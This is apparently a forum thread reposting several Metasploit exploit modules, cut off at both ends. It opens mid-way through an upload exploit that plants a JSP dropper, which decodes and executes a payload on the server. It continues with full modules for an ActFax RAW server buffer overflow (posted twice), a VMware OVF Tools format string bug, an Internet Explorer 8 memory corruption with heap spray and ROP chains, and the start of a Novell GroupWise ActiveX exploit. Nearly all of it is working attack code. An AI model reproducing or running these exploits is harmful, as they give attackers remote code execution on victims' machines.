    var_comb          = Rex::Text.rand_text_alpha(rand(8)+8)
    var_exe           = Rex::Text.rand_text_alpha(rand(8)+8)
    @var_hexfile      = Rex::Text.rand_text_alpha(rand(8)+8)
    var_proc          = Rex::Text.rand_text_alpha(rand(8)+8)
    var_fperm         = Rex::Text.rand_text_alpha(rand(8)+8)
    var_fdel          = Rex::Text.rand_text_alpha(rand(8)+8)

    jspraw =  "<%@ page import=\"java.io.*\" %>\n"
    jspraw << "<%\n"
    jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
    jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
    jspraw << "String #{var_data} = \"\";\n"

    jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
    jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
    jspraw << "}\n"

    jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
    jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"

    jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
    jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
    jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
    jspraw << "#{var_inputstream}.close();\n"

    jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
    jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
    jspraw << "{\n"
    jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
    jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
    jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
    jspraw << "#{var_comb} <<= 4;\n"
    jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
    jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
    jspraw << "}\n"

    jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
    jspraw << "#{var_outputstream}.close();\n"

    jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
    jspraw << "String[] #{var_fperm} = new String[3];\n"
    jspraw << "#{var_fperm}[0] = \"chmod\";\n"
    jspraw << "#{var_fperm}[1] = \"+x\";\n"
    jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
    jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
    jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
    jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
    jspraw << "}\n"
    # Linux and other UNICES allow removing files while they are in use...
    jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
    jspraw << "} else {\n"
    # Windows does not ..
    jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
    jspraw << "}\n"

    jspraw << "%>\n"
    return jspraw
  end

  def get_install_path
    res = send_request_cgi(
      {
        'uri'    => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
        'method' => 'POST',
        'connection' => 'TE, close',
        'headers' =>
          {
            'TE' => "deflate,gzip;q=0.3",
          },
        'vars_post' => {
          'num' => '123456',
          'action' => 'show_diagnostics',
          'task' => 'search',
          'item' => 'application_log',
          'criteria' => '*.*',
          'width' => '500'
        }
      })

    if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
      return $1
    end

    return nil
  end

  def upload_file(location, filename, contents)
    post_data = Rex::MIME::Message.new
    post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")
    post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")
    post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
    post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")

    data = post_data.to_s
    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

    res = send_request_cgi(
      {
        'uri'    => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
        'method' => 'POST',
        'data'   => data,
        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
        'headers' =>
          {
            'TE' => "deflate,gzip;q=0.3",
          },
        'connection' => 'TE, close'
      })

    if res and res.code == 200 and res.body.empty?
      return true
    else
      return false
    end
  end

  def check
    @peer = "#{rhost}:#{rport}"
    @uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1,1] != '/'

    if get_install_path.nil?
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Vulnerable
  end

  def exploit
    @peer = "#{rhost}:#{rport}"
    @uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1,1] != '/'

    # Get Tomcat installation path
    print_status("#{@peer} - Retrieving Tomcat installation path...")
    install_path = get_install_path

    if install_path.nil?
      fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
    end

    print_good("#{@peer} - Tomcat installed on #{install_path}")

    if target['Platform'] == "linux"
      @location = "#{install_path}webapps/appliance/"
    elsif target['Platform'] == "win"
      @location = "#{install_path}webapps\\appliance\\"
    end


    # Upload the JSP and the raw payload
    @jsp_name = rand_text_alphanumeric(8+rand(8))

    jspraw = generate_jsp

    # Specify the payload in hex as an extra file..
    payload_hex = payload.encoded_exe.unpack('H*')[0]

    print_status("#{@peer} - Uploading the payload")

    if upload_file(@location, "#{@var_hexfile}.txt", payload_hex)
      print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt")
    else
      fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload")
    end

    print_status("#{@peer} - Uploading the payload")

    if upload_file(@location, "#{@jsp_name}.jsp", jspraw)
      print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp")
    else
      fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp")
    end

    print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
    res = send_request_cgi(
      {
        'uri'    => "#{@uri}appliance/#{@jsp_name}.jsp",
        'method' => 'GET'
      })

    if res and res.code != 200
      print_warning("#{@peer} - Error triggering the payload")
    end

    register_files_for_cleanup("#{@location}#{@var_hexfile}.txt")
    register_files_for_cleanup("#{@location}#{@jsp_name}.jsp")
  end

end
 
ActFax 5.01 RAW Server Buffer Overflow

This Metasploit module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can be used to transfer fax messages to the fax server without any underlying protocols. To note significant fields in the fax being transfered, like fax number and recipient, you can use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable. This has been fixed in a beta version which will not be pushed to release until May 2013.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'ActFax 5.01 RAW Server Buffer Overflow',
      'Description'  => %q{
          This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can 
          be used to transfer fax messages to the fax server without any underlying protocols. To 
          note significant fields in the fax being transfered, like fax number and receipient, you can 
          use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable. 
          For more information refer to the 'data fields' section of the help menu in ActFax. This has 
          been fixed in a beta version which wont be pushed to release until May 2013. 
          Beta is here: http://www.actfax.com/download/beta/actfax_setup_en.exe
          
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Craig Freyman @cd1zz',  #discovery and msf
          'corelanc0d3r', #lots of help with getpc routine => https://www.corelan-training.com/index.php/training/corelan-live
        ],
      'References'  =>
        [
          [ 'OSVDB', '' ],
          [ 'CVE', '' ],
          [ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'none', 
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x40",
          'DisableNops' => true,
          'Space' => 1000,
          'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
                          'EncoderOptions' => { 'BufferRegister' => 'EBX' }
                      
        },

      'Targets'    =>
        [
          [ 'Windows XP SP3',
            {
              'Ret'     =>  0x775e3422, #ole32.dll v5.1.2600.6168
              'Offset'  =>  1024
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Feb 5 2013',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(0)], self.class)

  end

  def exploit
    
    connect  
      
    getpc = "\xe8\xff\xff\xff\xff\xc3\x5b" #ebx|  call + 4: 
    add_ebx = "\x83\xc3\x20" #add ebx,32 
    fill = "\x4b" * 5 #inc ebx 5 times
    fill2 = "\x90" * 17 
    stack_adjust = "\x81\xc4\x24\xfa\xff\xff" #add esp,-1500
    shell_chunk1 = payload.encoded[0,522]
    shell_chunk2 = payload.encoded[522,payload.encoded.length-522] 
      
    buffer = ""
    buffer << shell_chunk2
    buffer << rand_text_alpha(target['Offset']-buffer.length)
    buffer << [target.ret].pack('V')
    buffer << stack_adjust  
    buffer << getpc 
    buffer << add_ebx 
    buffer << fill 
    buffer << fill2 
    buffer << shell_chunk1
        
    print_status("Trying target #{target.name}...")
    sock.put("@F506 "+buffer+"@\r\npwnag3\r\n\r\n")

    handler
    disconnect

  end
end

Добавлено в [time]1360220629[/time]
VMWare OVF Tools Format String

This Metasploit module exploits a format string vulnerability in VMWare OVF Tools 2.1 for Windows. The vulnerability occurs when printing error messages while parsing a a malformed OVF file. The module has been tested successfully with VMWare OVF Tools 2.1 on Windows XP SP3.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VMWare OVF Tools Format String Vulnerability',
      'Description'    => %q{
          This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
        Windows. The vulnerability occurs when printing error messages while parsing a
        a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
        2.1 on Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jeremy Brown', # Vulnerability discovery
          'juan vazquez'  # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-3569' ],
          [ 'OSVDB', '87117' ],
          [ 'BID', '56468' ],
          [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
        ],
      'Payload'        =>
        {
          'DisableNops'    => true,
          'BadChars'       =>
            (0x00..0x08).to_a.pack("C*") +
            "\x0b\x0c\x0e\x0f" +
            (0x10..0x1f).to_a.pack("C*") +
            (0x80..0xff).to_a.pack("C*") +
            "\x22",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x54\x59", # push esp # pop ecx
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
              'BufferOffset' => 6
            }
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # vmware-ovftool-2.1.0-467744-win-i386.msi
          [ 'VMWare OVF Tools 2.1 on Windows XP SP3',
            {
              'Ret' => 0x7852753d,  # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
              'AddrPops' => 98,
              'StackPadding' => 38081,
              'Alignment' => 4096
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 08 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ovf']),
      ], self.class)
  end

  def ovf
    my_payload = rand_text_alpha(4) # ebp
    my_payload << [target.ret].pack("V") # eip # call esp
    my_payload << payload.encoded

    fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
    fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
    fs << my_payload
    # 65536 => 0x10000
    # 27    => Error message prefix length
    fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
    fs << "%08x" * target['AddrPops'] # Reach saved EBP
    fs << "%hn" # Overwrite LSW of saved EBP with 0x1000

    ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <References>
    <File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
  </References>
  <DiskSection>
    <Info>Virtual disk information</Info>
    <Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
  </DiskSection>
  <VirtualSystem ovf:id="Small VM">
    <Info>A virtual machine</Info>
  </VirtualSystem>
</Envelope>
    EOF
    ovf_file
  end

  def exploit
    print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1")
    file_create(ovf)
  end
end
 
ActFax 5.01 RAW Server Exploit

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp
    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'ActFax 5.01 RAW Server Buffer Overflow',
            'Description'   => %q{
                    This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can
                    be used to transfer fax messages to the fax server without any underlying protocols. To
                    note significant fields in the fax being transfered, like fax number and receipient, you can
                    use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable.
                    For more information refer to the 'data fields' section of the help menu in ActFax. This has
                    been fixed in a beta version which wont be pushed to release until May 2013.
                    Beta is here: http://www.actfax.com/download/beta/actfax_setup_en.exe
                     
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Craig Freyman @cd1zz', #discovery and msf
                    'corelanc0d3r', #lots of help with getpc routine => https://www.corelan-training.com/index.php/training/corelan-live
                ],
            'References'    =>
                [
                    [ 'OSVDB', '' ],
                    [ 'CVE', '' ],
                    [ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'none',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'  => 'win',
            'Payload'   =>
                {
                    'BadChars' => "\x00\x40",
                    'DisableNops' => true,
                    'Space' => 1000,
                    'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
                                'EncoderOptions' => { 'BufferRegister' => 'EBX' }
                         
                },
 
            'Targets'       =>
                [
                    [ 'Windows XP SP3',
                        {
                            'Ret'       =>   0x775e3422, #ole32.dll v5.1.2600.6168
                            'Offset'    =>   1024
                        }
                    ],
                ],
            'Privileged'    => false,
            'DisclosureDate'    => 'Feb 5 2013',
            'DefaultTarget' => 0))
 
        register_options([Opt::RPORT(0)], self.class)
 
    end
 
    def exploit
         
        connect
             
        getpc = "\xe8\xff\xff\xff\xff\xc3\x5b" #ebx|  call + 4:
        add_ebx = "\x83\xc3\x20" #add ebx,32
        fill = "\x4b" * 5 #inc ebx 5 times
        fill2 = "\x90" * 17
        stack_adjust = "\x81\xc4\x24\xfa\xff\xff" #add esp,-1500
        shell_chunk1 = payload.encoded[0,522]
        shell_chunk2 = payload.encoded[522,payload.encoded.length-522]
             
        buffer = ""
        buffer << shell_chunk2
        buffer << rand_text_alpha(target['Offset']-buffer.length)
        buffer << [target.ret].pack('V')
        buffer << stack_adjust   
        buffer << getpc
        buffer << add_ebx
        buffer << fill
        buffer << fill2
        buffer << shell_chunk1
                 
        print_status("Trying target #{target.name}...")
        sock.put("@F506 "+buffer+"@\r\npwnag3\r\n\r\n")
 
        handler
        disconnect
 
    end
end
 
MS12-037 Internet Explorer 8 Same ID Property Deleted Object Handling Memory Corruption

Код:
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
        Rank = NormalRanking
 
        include Msf::Exploit::Remote::HttpServer::HTML
 
        def initialize(info={})
                super(update_info(info,
                        'Name'           => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
                        'Description'    => %q{
                                        This module exploits a memory corruption flaw in Internet Explorer 8 when
                                handling objects with the same ID property. At the moment this module targets
                                IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited
                                in the wild.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         => Charaf Anons
                                [
                                        'Dark Son ', # Vulnerability discovery
                                        'Qihoo 360 Security Center', # Vulnerability discovery
                                        'Yichong Lin', # Vulnerability discovery
                                        'Google Inc.', # Vulnerability discovery
                                        'juan vazquez' # Metasploit module
                                ],
                        'References'     =>
                                [
                                        [ 'MSB', 'MS12-037'],
                                        [ 'CVE', '2012-1875' ],
                                        [ 'OSVDB', '82865'],
                                        [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
                                        [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild
                                ],
                        'Payload'        =>
                                {
                                        'Space'    => 1024,
                                        'BadChars' => "\x00",
                                        'DisableNops' => true
                                },
                        'DefaultOptions'  =>
                                {
                                        'InitialAutoRunScript' => 'migrate -f'
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Automatic', {} ],
                                        [
                                                'IE 8 on Windows XP SP3 with msvcrt ROP',
                                                {
                                                        'Rop'    => :msvcrt,
                                                        'RopOffset' => '0x5f4',
                                                        'Ret'    => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
                                                }
                                        ],
                                        [
                                                'IE 8 on Windows XP SP3 with JRE ROP',
                                                {
                                                        'Rop'    => :jre,
                                                        'RopOffset' => '0x5f4',
                                                        'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
                                                }
                                        ],
                                        [
                                                'IE 8 on Windows 7 SP1 with JRE ROP',
                                                {
                                                        'Rop'    => :jre,
                                                        'RopOffset' => '0x5f4',
                                                        'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
                                                }
                                        ],
                                ],
                        'Privileged'     => false,
                        'DisclosureDate' => "Jun 12 2012",
                        'DefaultTarget'  => 0))
 
                register_options(
                        [
                                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
                        ], self.class)
 
        end
 
        def get_target(agent)
                # If the user is already specified by the user, we'll just use that
                return target if target.name != 'Automatic'
 
                if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
                        #Windows XP SP3 + IE 8.0
                        return targets[1]
                elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
                        #Windows 7 SP1 + IE 8.0
                        return targets[3]
                else
                        return nil
                end
        end
 
        def junk(n=4)
                return rand_text_alpha(n).unpack("V").first
        end
 
        def nop
                return make_nops(4).unpack("V").first
        end
 
        def ret(t)
                case t['Rop']
                when :msvcrt
                        return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
                when :jre
                        return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
                end
        end
 
        def popret(t)
                case t['Rop']
                when :msvcrt
                        return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
                when :jre
                        return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
                end
        end
 
        def get_rop_chain(t)
 
                adjust = ret(t) * 27
                adjust << popret(t)
                adjust << [t.ret].pack("V") # stackpivot
 
                # Both ROP chains generated by mona.py - See corelan.be
                case t['Rop']
                when :msvcrt
                        print_status("Using msvcrt ROP")
                        rop =
                        [
                                0x77c4e392,  # POP EAX # RETN
                                0x77c11120,  # <- *&VirtualProtect()
                                0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                                junk,
                                0x77c2dd6c,
                                0x77c4ec00,  # POP EBP # RETN
                                0x77c35459,  # ptr to 'push esp #  ret'
                                0x77c47705,  # POP EBX # RETN
                                0x00001000,  # EBX
                                0x77c3ea01,  # POP ECX # RETN
                                0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
                                0x77c46100,  # POP EDI # RETN
                                0x77c46101,  # ROP NOP (-> edi)
                                0x77c4d680,  # POP EDX # RETN
                                0x00000040,  # newProtect (0x40) (-> edx)
                                0x77c4e392,  # POP EAX # RETN
                                nop,         # NOPS (-> eax)
                                0x77c12df9,  # PUSHAD # RETN
                        ].pack("V*")
 
                when :jre
                        print_status("Using JRE ROP")
                        rop =
                        [
                                0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
                                0x00001000,  # (dwSize)
                                0x7c347f98,  # RETN (ROP NOP)
                                0x7c3415a2,  # JMP [EAX]
                                0xffffffff,
                                0x7c376402,  # skip 4 bytes
                                0x7c345255,  # INC EBX # FPATAN # RETN
                                0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
                                0x7c344f87,  # POP EDX # RETN
                                0x00000040,  # flNewProtect
                                0x7c34d201,  # POP ECX # RETN
                                0x7c38b001,  # &Writable location
                                0x7c347f97,  # POP EAX # RETN
                                0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                                0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
                                0x7c345c30,  # ptr to 'push esp #  ret '
                        ].pack("V*")
                end
 
                code = adjust
                code << rop
                return code
 
        end
 
        def on_request_uri(cli, request)
 
                agent = request.headers['User-Agent']
                my_target = get_target(agent)
 
                # Avoid the attack if the victim doesn't have the same setup we're targeting
                if my_target.nil?
                        print_error("Browser not supported: #{agent}")
                        send_not_found(cli)
                        return
                end
 
                print_status("Client requesting: #{request.uri}")
 
                p = payload.encoded
 
                js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
                js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))
                js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
                js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
 
                js_spray = <<-JS
                var heap_obj = new heapLib.ie(0x20000);
                var code = unescape("#{js_code}");
                var rop_chain = unescape("#{js_rop}");
                var random = unescape("#{js_padding}");
                var nops = unescape("#{js_nops}");
 
                while (random.length < 0x80000) random += random;
                while (nops.length < 0x80000) nops += nops;
 
                var padding = random.substring(0, #{my_target['RopOffset']}-code.length);
                var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);
 
                while (shellcode.length < 0x40000) shellcode += shellcode;
                var block = shellcode.substring(0, (0x80000-6)/2);
 
                heap_obj.gc();
                for (var z=1; z < 0x385; z++) {
                        heap_obj.alloc(block);
                }
                JS
 
                js_spray = heaplib(js_spray, {:noobfu => true})
 
                trigger_f = "trigger"
                feng_shui_f = "feng_shui"
                crash_f = "crash"
                unescape_f = "do_unescape"
                main_f = "main"
                a_id = "MyA"
                danger_id = "imgTest"
 
                if datastore['OBFUSCATE']
                        js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
                        js_spray.obfuscate
 
                        trigger_f = rand_text_alpha(rand(5) + 4)
                        feng_shui_f = rand_text_alpha(rand(5) + 4)
                        crash_f = rand_text_alpha(rand(5) + 4)
                        unescape_f = rand_text_alpha(rand(5) + 4)
                        main_f = rand_text_alpha(rand(5) + 4)
                        a_id = rand_text_alpha(rand(5) + 4)
                        danger_id = rand_text_alpha(rand(5) + 4)
                end
 
                html = %Q|
                        <HTML>
                        <BODY>
                        <title>Download</title>
                        <DIV id=testfaild>
                                <img id="#{danger_id}" style="display:none">
                                <a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();">
                                <div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();">
                                </div>
                                </a>
                        </DIV>
                        <script LANGUAGE="JavaScript">
                        function #{unescape_f}(dword) {
                                var t = unescape;
                                var d = Number(dword).toString(16);
                                while (d.length < 8) d = '0' + d;
                                return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
                        }
                        function #{feng_shui_f}() {
                                var tag = 0x1c1c1c0c;
                                var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888';
                                var divs = new Array();
                                for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));
                                testfaild.innerHTML = testfaild.innerHTML;
                                divs[0].className = vtable1;
                                divs[1].className = vtable1;
                                divs[2].className = vtable1;
                                divs[3].className = vtable1;
                        }
                        function #{crash_f}() {
                                eval("#{danger_id}").src = "";
                        }
                        function #{trigger_f}() {
                                var x = document.getElementsByTagName("div");
                                var fireOnThis = document.getElementById("#{a_id}");
                                if (document.createEvent) {
                                        evObj = document.createEvent('MouseEvents');
                                        evObj.iniEvent('click', true, false);
                                        fireOnThis.dispatchEvent(evObj);
                                } else if (document.createEventObject) {
                                        x[1].fireEvent('onMouseOver');
                                        fireOnThis.fireEvent('onclick');
                                        x[1].fireEvent('onMouseOut');
                                }
                        }
                        function #{main_f}() {
 
                                #{js_spray}
                                setTimeout("#{trigger_f}();", 1000);
 
                        }
                        #{main_f}();
                        </SCRIPT>
                        </BODY>
                        </HTML>
                |
 
                html = html.gsub(/^\t\t\t/, '')
 
                print_status("Sending html")
                send_response(cli, html, {'Content-Type'=>'text/html'})
        end
 
end
 
 
=begin
* crash
(a9c.998): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for C:\WINDOWS\system32\mshtml.dll -
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!DllGetClassObject+0xafd09:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h]
ds:0023:1c1c1c7c=????????
=end
 
# E5EFBBFEB0B9A737   1337day.com [2013-02-10]   7AF6C11C5D3F3D0B #
 
Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution

This Metasploit module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll ActiveX. Several methods in the GWCalServer control use user provided data as a pointer, which allows to read arbitrary memory and execute arbitrary code. This Metasploit module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The JRE6 needs to be installed to achieve ASLR bypass.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "9.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => NormalRanking,
    :classid    => "{601D7813-408F-11D1-98D7-444553540000}",
    :method     => "SetEngine"
  })


  def initialize(info={})
    super(update_info(info,
      'Name'           => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",
      'Description'    => %q{
          This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
        ActiveX. Several methods in the GWCalServer control use user provided data as
        a pointer, which allows to read arbitrary memory and execute arbitrary code. This
        module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
        JRE6 needs to be installed to achieve ASLR bypass.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez'                  # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0439' ],
          [ 'OSVDB', '89700' ],
          [ 'BID' , '57658' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
        ],
      'Payload'        =>
        {
          'BadChars'    => "\x00",
          'Space'       => 1040,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # gwcls1.dll 12.0.0.8586
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
          [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
